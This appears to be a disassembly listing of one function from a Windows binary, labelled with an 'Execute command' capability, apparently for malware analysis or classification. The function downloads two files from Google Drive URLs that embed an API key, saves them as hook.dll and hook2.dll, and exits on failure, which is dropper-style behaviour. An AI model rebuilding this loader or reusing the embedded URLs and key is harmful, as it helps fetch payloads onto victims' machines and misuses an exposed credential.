Function at 0x409370
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x80]
lea rdx, str.Fetching_data...................._n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x51]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.hook.dll
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x41]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x41]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.https:__www.googleapis.com_drive_v3_files_19LQyKMKII0I1e9O6OwE73fXvZBetRJx2_altmediakeyAIzaSyD_QWLVRGx58NvbEhXEH5kknnFYpH20wmw
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.downloadFile_std::string__std::string_
mov dword [rbp - 0x14], eax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x41]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x51]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp - 0x14], 0
js 0x40946f
lea rdx, [0x00496252]
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, 0x320
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0x31]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x31]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.hook2.dll
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
jmp 0x409498
lea rdx, str.Failed_to_fetch_data..............._n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rcx, str.pause
call sym.system
mov ecx, 1
call sym.exit
lea rax, [rbp - 0x19]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x19]
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, str.https:__www.googleapis.com_drive_v3_files_1UkvlqRWq0K8TzzEXsFD4w_4x1Byrbi_R_altmediakeyAIzaSyD_QWLVRGx58NvbEhXEH5kknnFYpH20wmw
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.downloadFile_std::string__std::string_
mov dword [rbp - 0x18], eax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x19]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x31]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp - 0x18], 0
js 0x40952d
lea rdx, [0x00496252]
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, 0x320
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x4095e7
lea rdx, str.Failed_to_fetch_data..............._n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rcx, str.pause
call sym.system
mov ecx, 1
call sym.exit
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
jmp 0x40956a
lea rax, [rbp - 0x41]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
jmp 0x409587
lea rax, [rbp - 0x51]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.00459260
jmp 0x4095b2
lea rax, [rbp - 0x19]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00459260
jmp 0x4095cf
lea rax, [rbp - 0x31]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
nop
add rsp, 0x78
pop rbx
pop rbp
ret